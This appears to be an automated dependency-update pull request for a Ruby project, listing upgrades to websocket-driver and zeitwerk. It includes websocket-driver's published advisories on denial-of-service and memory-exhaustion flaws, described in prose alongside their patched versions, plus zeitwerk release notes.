2.13.1Merge pull request #67 from ruby/dependabot/github_actions/actions/checkout-5Bump actions/checkout from 4 to 5Bump step-security/harden-runner from 2.12.2 to 2.13.0Bump step-security/harden-runner from 2.12.1 to 2.12.2Gracefully handle a call to ensure_timeout_thread_created in a signal handlerUse GITHUB_TOKEN instead of admin credentialMerge pull request #63 from ruby/dependabot/github_actions/step-security/harden-runner-2.12.1Bump step-security/harden-runner from 2.12.0 to 2.12.1Merge pull request #62 from ruby/dependabot/github_actions/step-security/harden-runner-2.12.0Bump step-security/harden-runner from 2.11.1 to 2.12.0Merge pull request #61 from ruby/dependabot/github_actions/step-security/harden-runner-2.11.1Bump step-security/harden-runner from 2.11.0 to 2.11.1Merge pull request #60 from ruby/dependabot/github_actions/step-security/harden-runner-2.11.0Bump step-security/harden-runner from 2.10.4 to 2.11.0Merge pull request #59 from ruby/dependabot/github_actions/step-security/harden-runner-2.10.4Bump step-security/harden-runner from 2.10.3 to 2.10.4Bump step-security/harden-runner from 2.10.2 to 2.10.3Merge pull request #56 from ruby/dependabot/github_actions/rubygems/release-gem-1.1.1Bump rubygems/release-gem from 1.1.0 to 1.1.1
↗️ websocket-driver (indirect, 0.8.0 → 0.8.2) · Repo · Changelog
Security Advisories 🚨
🚨 websocket-driver-ruby: Denial of service via malformed Host header
Impact
If this library is used to implement a WebSocket server on top of a TCP server, by using the
WebSocket::Driver.server()method, then a client can cause the server to crash by sending aHostheader that is not a validhost[:port]string. When this happens, aURI::InvalidURIErrorexception is raised which is not caught, and this can cause the server process to crash if the application does not catch the error from theparse()method itself.Patches
The issue has been patched in version 0.8.2 by making the request parser catch
URI::InvalidURIErrorand enter an error state if theHostheader is malformed. This means the request is considered invalid and should not establish a WebSocket connection.Workarounds
No known workarounds exist.
Acknowledgements
This issue was discovered and reported by Pranjali Thakur, DepthFirst Security Research Team.
🚨 websocket-driver: Memory exhaustion via abuse of protocol length headers
Impact
The frame format in draft versions of the WebSocket protocol includes a length header that allows an arbitrarily large integer to be encoded as a sequence of bytes with the high bit set. By sending an indefinite sequence of bytes with values
0x80or above, a server or client can make the other peer parse these bytes into an ever-growing integer. Since Ruby integers are arbitrary precision, this can be used to make a WebSocket connection consume an unbounded amount of memory and lead to the host process running out of memory.Patches
The issue has been patched in version 0.8.1. All users should upgrade to this version.
Workarounds
No known workarounds exist.
Acknowledgements
This issue was discovered and reported by Pranjali Thakur, DepthFirst Security Research Team.
🚨 websocket-driver: Resource limit bypass via message compression
Impact
If this library is used in tandem with the
permessage-deflateextension, a WebSocket server or client can be made to accept messages that are larger than the configured maximum message size. This is because this limit is checked against the message frames' length headers, which give the size of the compressed data, not the size after decompression. This can lead to applications accepting larger messages than expected and exceeding their intended resource usage.Patches
The issue has been patched in version 0.8.1, by checking the length of messages after they are processed by incoming extensions. All users should upgrade to this version.
Workarounds
No known workarounds exist.
Acknowledgements
This issue was discovered and reported by Pranjali Thakur, DepthFirst Security Research Team.
🚨 websocket-driver: Memory exhaustion in HTTP header parser
Impact
If this library is used to implement a WebSocket server on top of a TCP server (rather than an HTTP server or framework) using the
WebSocket::Driver.server()method, or, if it is used to complement a WebSocket client, then a peer can make a single connection consume an unbounded amount of memory by sending an HTTP request or response with a never-ending list of headers. This can lead to the receiving process running out of memory.Patches
The issue has been patched in version 0.8.1, by limiting the total size of HTTP request/response lines and headers accepted by the parser to 32 kB. All users should upgrade to this version.
Workarounds
No known workarounds exist.
Acknowledgements
This issue was discovered and reported by Pranjali Thakur, DepthFirst Security Research Team.
Release Notes
0.8.2 (from changelog)
- Gracefully handle malformed
Hostheaders in theServerdriver
0.8.1 (from changelog)
- Close a draft-75/76 connection if a length header grows to exceed the configured max length
- Fail the connection if a message is larger than the configured max length after extension processing
- Limit the total HTTP request line and headers size to 32K
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 7 commits:
Bump version to 0.8.2Gracefully handle malformed `Host` headers in the `Server` driverBump version to 0.8.1Limit the total HTTP request line and headers size to 32KFail the connection if a message is larger than the configured max length after extension processingClose a draft-75/76 connection if a length header grows to exceed the configured max lengthTest on Ruby 4.0
↗️ zeitwerk (indirect, 2.7.3 → 2.8.2) · Repo · Changelog
Release Notes
2.8.1 (from changelog)
Replace anonymous block parameters with regular named ones.
Ruby 3.3.0 has a bug: it does not parse anonymous block parameters, which were introduced in Ruby 3.1.
While this is a Ruby bug and people could upgrade to 3.3.1, I prefer users just do not hit this. At the end of the day, it is cosmetic.
2.8.0 (from changelog)
Adds support for namespace files, nsfiles for short.
If a loader has an nsfile configured (
nilby default):loader.nsfile = 'ns.rb' # must be set before setupexplicit namespaces can be defined by such special file inside their directories:
my_component/ns.rb # MyComponent my_component/widget.rb # MyComponent::WidgetThis may be handy for self-contained units for which a
my_component.rbfile in the parent directory would feel unnatural.If an nsfile is set, you can still define explicit namespaces as always. Both styles can coexist in the project. However, it is an error condition to try to define the same namespace using both conventions.
For further details, please check the documentation for nsfiles.
When a file is shadowed because the constant path it maps to already exists, the location of said constant is included in the log message.
2.7.5 (from changelog)
If available, tree traversal is based on
Dir.scan, which saves syscalls in common platforms. This method is a recent addition to Ruby contributed by @byroot, so you need to be on Rubymasterto leverage this for now.Tree traversal is a tad more performant, regardless of the previous point. Gains are marginal when eager loading, because it is dominated by loading the code, but
Zeitwerk::Loader#all_expected_cpathswas 14% faster in some benchmarks, for example.README.md documents how to collect autoloaded constants using an
on_loadcallback.Internal maintenance.
2.7.4 (from changelog)
Loaders have to manage disjoint source trees. Therefore, when a root directory is configured Zeitwerk ensures it is not already managed by some other loader. The performance of this validation has been improved.
Thanks to @ngan for sharing some benchmarks that led to revise this logic.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.